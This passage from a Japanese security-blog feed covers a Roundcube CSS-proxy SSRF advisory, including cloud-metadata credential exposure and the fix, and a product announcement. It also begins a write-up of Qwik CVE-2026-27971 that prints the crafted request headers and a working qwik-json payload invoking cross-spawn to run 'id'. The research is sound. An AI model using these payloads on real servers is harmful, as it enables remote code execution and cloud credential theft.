&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Please review the attached quarterly report.&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;被害者がメールを閲覧し、リモートコンテンツを許可すると、次のことが起こります。
1. Roundcubeが両方のURLを$_SESSION['modcssurls']に保存する
2. ブラウザーがそれぞれについて/?_task=utils&amp;amp;_action=modcss&amp;amp;_u=tmp-{md5}をリクエストする
3. modcss.phpが、攻撃者のリスナーと内部APIエンドポイントをサーバーサイドで取得する
4. 攻撃者のリスナーが、（被害者のブラウザーではなく）RoundcubeサーバーのIPからのアクセスを記録する
5. 内部APIがtext/cssまたはtext/plainを返した場合、そのレスポンスボディがブラウザーにプロキシされて返される&lt;/p&gt;
&lt;h3 id="テストによる確認"&gt;テストによる確認&lt;/h3&gt;
&lt;p&gt;私はこれを、Docker環境のRoundcube 1.6.13に対してテストしました。この環境には、Dockerネットワークの内部からのみアクセスできる&lt;strong&gt;internal-api&lt;/strong&gt;コンテナがありました。結果は次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;コールバックの確認&lt;/strong&gt; &amp;mdash; 攻撃者のHTTPリスナーが、RoundcubeコンテナのIPから、User-Agent: GuzzleHttp/7付きのリクエストを受信しました。このリクエストは、被害者のブラウザーではなくサーバーから発信されたものでした。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;内部サービスからの持ち出し&lt;/strong&gt; &amp;mdash; 被害者のブラウザーからは到達できない内部APIエンドポイントが、modcssプロキシを通じてそのレスポンスを返しました。レスポンスボディは、ブラウザーのDevToolsのNetworkタブで確認できました。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;クラウドメタデータ&lt;/strong&gt; &amp;mdash; あるGCPインスタンスでは、&lt;code&gt;http://169.254.169.254/&lt;/code&gt;が&lt;code&gt;Content-Type: application/text&lt;/code&gt;付きのレスポンスを返しました。&lt;code&gt;modcss.php&lt;/code&gt;は&lt;code&gt;text/css&lt;/code&gt;および&lt;code&gt;text/plain&lt;/code&gt;のコンテンツタイプのみをプロキシするため、レスポンスボディはブロックされました。しかし、SSRF自体は発火しました。これはApacheのアクセスログに記録された&lt;code&gt;GuzzleHttp/7&lt;/code&gt;のユーザーエージェントと、ほぼ即時のレスポンス時間（サーバーがメタデータエンドポイントに到達したことを裏付けるもの）によって確認されました。IMDSv1を使うAWSでは、メタデータエンドポイントは&lt;code&gt;text/plain&lt;/code&gt;を返すため、これはブラウザーにプロキシされて返されることになります。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="概念実証_1"&gt;概念実証&lt;/h3&gt;
&lt;p&gt;次の動画は、SSRFの実際の動作を示しています。CSSの&lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt;タグに内部URLを埋め込んだ細工済みのメールを送り、サーバーサイドのリクエストを観察します。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://blog.ostorlab.co/static/img/2026-04-07_roundcube-imap-ssrf/ssrf_poc.webm"&gt;CSSプロキシを介したSSRFの概念実証動画&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="重大度_1"&gt;重大度&lt;/h3&gt;
&lt;p&gt;Roundcubeのメールボックスにメールを送り込める攻撃者であれば誰でも、1回のユーザー操作でこのSSRFを引き起こせます。影響には次のものが含まれます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;内部ネットワークの偵察&lt;/strong&gt;：ループバックやVPC内部のホストにバインドされたサービスを探る&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クラウド認証情報の窃取&lt;/strong&gt;：AWS IMDSv1はIAMの認証情報をtext/plainで返すため、完全にプロキシされる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;データの持ち出し&lt;/strong&gt;：text/cssまたはtext/plainを返す内部サービスは、そのレスポンスがブラウザーにプロキシされる&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="修正_1"&gt;修正&lt;/h3&gt;
&lt;p&gt;修正では、mlocati/ip-libライブラリを使った新しいrcube_utils::is_local_url()関数が導入されました。この関数は、URLをプライベート、ループバック、リンクローカルの範囲と照合します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;// program/lib/Roundcube/rcube_utils.php &amp;mdash; new is_local_url() method&lt;/span&gt;
&lt;span class="x"&gt;// Blocked ranges:&lt;/span&gt;
&lt;span class="x"&gt;// IPv4: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16&lt;/span&gt;
&lt;span class="x"&gt;// IPv6: ::1/128, fc00::/7&lt;/span&gt;
&lt;span class="x"&gt;// Hostnames: localhost, localhost.localdomain&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;このチェックは2か所で適用されます。まず、&lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt;タグがセッションに保存される際、ローカルURLはプロキシに到達する前に拒否されるようになりました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;// program/actions/mail/index.php&lt;/span&gt;
&lt;span class="x"&gt;if ($tag == 'link' &amp;amp;&amp;amp; preg_match('/^https?:\/\//i', $attrib['href'])&lt;/span&gt;
&lt;span class="x"&gt;    &amp;amp;&amp;amp; !rcube_utils::is_local_url($attrib['href'])) {&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;次に、&lt;code&gt;modcss.php&lt;/code&gt;のHTTPクライアントがリダイレクトを無効化するようになり、攻撃者がリダイレクトの連鎖を通じてURLの検証を回避することを防ぎます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;// program/actions/utils/modcss.php&lt;/span&gt;
&lt;span class="x"&gt;$client = rcube::get_instance()-&amp;gt;get_http_client(['allow_redirects' =&amp;gt; false]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="参考資料"&gt;参考資料&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;リソース&lt;/th&gt;
&lt;th style="text-align: left;"&gt;リンク&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Roundcube 1.6.13と1.6.14の間のパッチ修正の変更点&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/roundcube/roundcubemail/compare/1.6.13...1.6.14"&gt;https://github.com/roundcube/roundcubemail/compare/1.6.13...1.6.14&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content><category term="Security"/><category term="Security"/><category term="OVE"/><category term="SSRF"/><category term="Roundcube"/><category term="Vulnerability"/><category term="cve-news"/></entry><entry><title>Ostorlab for Harnessを発表：CIパイプラインでのモバイルセキュリティスキャン</title><link href="https://blog.ostorlab.co/ja/ostorlab-harness-integration.html" rel="alternate"/><published>2026-04-06T16:51:00+02:00</published><updated>2026-04-06T16:51:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-04-06:/ja/ostorlab-harness-integration.html</id><summary type="html">&lt;p&gt;OstorlabがHarness CIと連携し、CIパイプライン内で自動化されたモバイルアプリケーションのセキュリティスキャンを実行できるようになりました。Harness SecretsとシンプルなRunステップを使って、チームはOstorlab CLIをインストールし、パイプラインが生成したものと同じビルド成果物（Android APK、Android AAB、iOS IPAなど）に対してostorlab ci-scan runを実行できます。この連携により、フィードバックを迅速化し脆弱性をより早く検出することで、セキュリティをCIに組み込めます。プロファイル（fast、full）によるスキャンの調整や、テスト用認証情報、SBOM、UIプロンプトなどの任意の入力にも対応しています。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;が&lt;strong&gt;Harness&lt;/strong&gt; CIで利用可能になり、チームはCIパイプライン内で直接モバイルアプリケーションのセキュリティスキャンを実行できるようになりました。これにより、別のワークフローを導入することなく、ビルドプロセスの一部として脆弱性を特定できます。&lt;/p&gt;
&lt;p&gt;一つのRunステップとHarness Secretsによる安全な認証だけで、チームはパイプラインのワークスペースから直接アプリケーションの成果物をスキャンでき、すべてを同じCI環境内で完結させられます。&lt;/p&gt;
&lt;h2 id="harness ciにモバイルセキュリティスキャンを統合する理由"&gt;Harness CIにモバイルセキュリティスキャンを統合する理由&lt;/h2&gt;
&lt;p&gt;CIパイプラインは、アプリケーションをどのようにビルドし、テストし、リリースするかをすでに定義しています。しかし、セキュリティスキャンはその流れの外に置かれたままになっていることが多く、標準化が難しく、後回しにされやすくなっています。&lt;/p&gt;
&lt;p&gt;その結果、セキュリティチェックはチームごとにばらつきが生じ、リリースサイクルの遅い段階で実施されることが多くなり、直前になって問題が発覚するリスクが高まります。&lt;/p&gt;
&lt;h2 id="ostorlab x harness連携でできること"&gt;Ostorlab x Harness連携でできること&lt;/h2&gt;
&lt;p&gt;この連携は、既存のHarnessパイプラインに自然に組み込めるよう設計されています。チームがすでに使い慣れている概念をそのまま使うため、導入は簡単で、スケールも容易です。&lt;/p&gt;
&lt;p&gt;その中核では、パイプラインがOstorlab CLIを実行し、ビルド中に生成された成果物に対して&lt;code&gt;ci-scan&lt;/code&gt;を実行します。スキャンは&lt;code&gt;$HARNESS_WORKSPACE/$APP_PATH&lt;/code&gt;のようなパスを使って成果物に対して実行され、設定は環境変数で行います。&lt;/p&gt;
&lt;p&gt;チームは、スキャンの深さの調整、成果物の種類の選択、より高度なワークフロー向けの任意の入力の追加など、ニーズに合わせてスキャンを調整できます。&lt;/p&gt;
&lt;h2 id="仕組み"&gt;仕組み&lt;/h2&gt;
&lt;div style="position:relative;width:100%;padding-top:56.25%;margin:1rem 0;"&gt;
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/qZYOZKeTT0I" style="position:absolute;inset:0;width:100%;height:100%;border:0;" title="Ostorlab連携 - Harness連携"&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;セットアップはシンプルな流れで進みます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OstorlabのAPIキーを生成する  &lt;/li&gt;
&lt;li&gt;Harness Secretsに保存する  &lt;/li&gt;
&lt;li&gt;パイプラインにOstorlabスキャンのRunステップを追加する  &lt;/li&gt;
&lt;li&gt;ワークスペース内の成果物に対して&lt;code&gt;ostorlab ci-scan run&lt;/code&gt;を実行する  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;スキャンは&lt;code&gt;$HARNESS_WORKSPACE/$APP_PATH&lt;/code&gt;のようなパスを使うため、追加の処理なしにビルドの出力に対して直接実行できます。&lt;/p&gt;
&lt;h2 id="連携に含まれるもの"&gt;連携に含まれるもの&lt;/h2&gt;
&lt;p&gt;この連携はHarnessの標準機能を中心に構築されているため、パイプラインの構成を変えることなく簡単に導入できます。&lt;/p&gt;
&lt;p&gt;Ostorlabのスキャンは、CLIをインストールして実行するRunステップを通じて実行されます。認証はHarness Secretsを使って安全に管理され、シークレットは&lt;code&gt;&amp;lt;+secrets.getValue("OSTORLAB_API_KEY")&amp;gt;&lt;/code&gt;のようなパターンで呼び出します。&lt;/p&gt;
&lt;p&gt;成果物はパイプラインのワークスペースから直接スキャンされ、設定はスキャンのタイトル、プロファイル、成果物のパスといった環境変数で行います。UIベースとYAMLベースの両方の実装に対応しているため、チームはパイプラインの設定の一部としてセキュリティを管理できます。&lt;/p&gt;
&lt;p&gt;さらに、チームはOstorlabプラットフォーム内でリスクのしきい値を定義し、スキャンの挙動を制御できます。これにより、&lt;strong&gt;検出されたリスクレベル&lt;/strong&gt;に応じてスキャンを&lt;strong&gt;停止&lt;/strong&gt;させることができ、ワークフロー全体の一部としてセキュリティ要件を徹底するのに役立ちます。&lt;/p&gt;
&lt;h2 id="ワークフローに合わせてスキャンを調整する"&gt;ワークフローに合わせてスキャンを調整する&lt;/h2&gt;
&lt;p&gt;スキャンは、さまざまなパイプラインの要件に合わせてカスタマイズできます。チームは速度と深さに応じてスキャンプロファイルを選択でき、Android APK、AAB、iOS IPAなど、さまざまな種類の成果物をスキャンできます。&lt;/p&gt;
&lt;p&gt;より高度なユースケース向けには、テスト用認証情報の提供、SBOMの生成、UIプロンプトによるスキャンの誘導といった追加のオプションも用意されています。&lt;/p&gt;
&lt;p&gt;すべての設定はパイプライン内で行われるため、チームはワークフロー全体の構成を変えることなくスキャンの挙動を調整できます。&lt;/p&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;連携を有効にし、具体的なセットアップ手順に従うには、&lt;strong&gt;&lt;a href="https://docs.ostorlab.co/integrations/harness/index.html"&gt;Harness連携ガイド&lt;/a&gt;&lt;/strong&gt;をご覧ください。&lt;/p&gt;</content><category term="Product"/><category term="Mobile Security"/><category term="CI/CD"/><category term="DevSecOps"/><category term="Ostorlab"/><category term="CI Scanning"/></entry><entry><title>CVE-2026-27971：Qwik server$ の認証不要なリモートコード実行</title><link href="https://blog.ostorlab.co/ja/cve-2026-27971-rce-qwik.html" rel="alternate"/><published>2026-04-01T14:00:00+02:00</published><updated>2026-04-01T14:00:00+02:00</updated><author><name>Aziz Elbelaychy</name></author><id>tag:blog.ostorlab.co,2026-04-01:/ja/cve-2026-27971-rce-qwik.html</id><summary type="html">&lt;p&gt;Qwik（&amp;lt; 1.19.1）に存在するCVSS 9.2のクリティカルな認証不要リモートコード実行脆弱性、CVE-2026-27971の技術的解説です。server$ RPCフローにおける安全でないデシリアライゼーションにより、攻撃者が制御するQRLオブジェクトがapplication/qwik-jsonリクエストから再構築され、任意のモジュールパスとシンボルの解決が可能になります。require()が利用できる環境では、細工されたサーバーサイド関数の呼び出しを通じてリモートコード実行に至ります。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;CVE-2026-27971&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Qwik server$ の安全でないデシリアライゼーションによる認証不要なRCE&lt;/p&gt;
&lt;p&gt;2026年3月12日 &amp;middot; CVSS 9.2 クリティカル &amp;middot; Qwik &amp;lt; 1.19.1&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;CVE ID&lt;/th&gt;
&lt;th style="text-align: left;"&gt;CVSS&lt;/th&gt;
&lt;th style="text-align: left;"&gt;影響を受けるバージョン&lt;/th&gt;
&lt;th style="text-align: left;"&gt;修正済み&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CVE-2026-27971&lt;/td&gt;
&lt;td style="text-align: left;"&gt;9.2 クリティカル&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&amp;lt; 1.19.1&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1.19.1+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="cve-2026-27971の概要:server$ rpcのデシリアライゼーションを介したrce"&gt;CVE-2026-27971の概要：server$ RPCのデシリアライゼーションを介したRCE&lt;/h2&gt;
&lt;p&gt;Qwikの&lt;code&gt;server$&lt;/code&gt; RPCメカニズムは&lt;code&gt;application/qwik-json&lt;/code&gt;リクエストを受け付け、攻撃者が制御するオブジェクトを実行中のランタイム値へとデシリアライズします。脆弱なバージョンでは、このデシリアライゼーション経路によって、任意のモジュールパスとシンボル名を指すQRLが再構築される可能性があります。サーバーサイドのランタイムにネイティブの&lt;code&gt;require()&lt;/code&gt;がまだ利用可能な場合、フレームワークのサーバーインポート経路が悪用され、攻撃者が選んだCommonJSモジュールが読み込まれ、攻撃者が制御する引数でエクスポートされた関数が呼び出されます。&lt;/p&gt;
&lt;p&gt;この問題は、脆弱なサーバーサイドの&lt;code&gt;server$&lt;/code&gt;フローが到達可能で、かつ実行時に&lt;code&gt;require()&lt;/code&gt;が利用できるデプロイに影響します。これはQwik &lt;code&gt;1.19.1&lt;/code&gt;で修正されており、同バージョンではサーバーインポート経路が信頼できないQRL入力に対して遅延動的インポートを行わなくなっています。&lt;/p&gt;
&lt;p&gt;実際には、リモートの認証されていない攻撃者が、以下に対して細工したPOSTリクエストを送信できます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;POST /?qfunc=sync&lt;/span&gt;
&lt;span class="err"&gt;Content-Type: application/qwik-json&lt;/span&gt;
&lt;span class="err"&gt;X-QRL: sync&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;そして、サーバーに以下を解決させます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;./node_modules/cross-spawn/index#sync
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これにより、リクエストボディが&lt;code&gt;cross-spawn.sync(...)&lt;/code&gt;へのリモート関数呼び出しに変わります。&lt;/p&gt;
&lt;h2 id="cve-2026-27971の安全でないserver$解決:qwik jsonからrequire()へ"&gt;CVE-2026-27971の安全でないserver$解決：Qwik JSONからrequire()へ&lt;/h2&gt;
&lt;p&gt;脆弱な挙動は、三段階のチェーンとして理解するのが最も分かりやすいです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;1. リクエストボディがQwikの`_deserializeData()`によってパースされる
2. デシリアライズされたQRLオブジェクトが正当な`server$`関数のターゲットとして扱われる
3. サーバーインポート経路が、攻撃者の制御するチャンクを`require()`で解決する
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="リクエストゲート"&gt;リクエストゲート&lt;/h3&gt;
&lt;p&gt;サーバーサイドのゲートは単純です。&lt;code&gt;qfunc&lt;/code&gt;クエリパラメーター、&lt;code&gt;X-QRL&lt;/code&gt;ヘッダー、&lt;code&gt;Content-Type&lt;/code&gt;ヘッダーが整合すれば、そのリクエストは&lt;code&gt;server$&lt;/code&gt;の呼び出しとして扱われます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;fn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'x-qrl'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'content-type'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'application/qwik-json'&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;_deserializeData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isArray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;qrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;qrl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;typeof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;qrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getSymbol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'function'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;qrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getHash&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;resolvedFn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;importSymbol&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;qrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;$chunk$&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;qrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;$symbol$&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;resolvedFn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これは従来のJSON APIではありません。攻撃者はプレーンな関数名と引数を送っているのではなく、Qwikのシリアライズされたオブジェクトグラフを送信しており、それがデシリアライゼーション中に実行中のQRLオブジェクトを再構築します。&lt;/p&gt;
&lt;h3 id="なぜこのペイロードが機能するのか"&gt;なぜこのペイロードが機能するのか&lt;/h3&gt;
&lt;p&gt;ラボで使用された中核的な悪意あるペイロードは次のとおりです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"_objs"&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="s2"&gt;"\u0002./node_modules/cross-spawn/index#sync"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;,[],[&lt;/span&gt;&lt;span class="s2"&gt;"0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"2"&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt;&lt;span class="nt"&gt;"_entry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"3"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;_deserializeData()&lt;/code&gt;の後、これは次のようになります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;qrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"./node_modules/cross-spawn/index"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sync"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s2"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;その結果、ランタイムは最終的に以下を呼び出します。&lt;/p&gt;
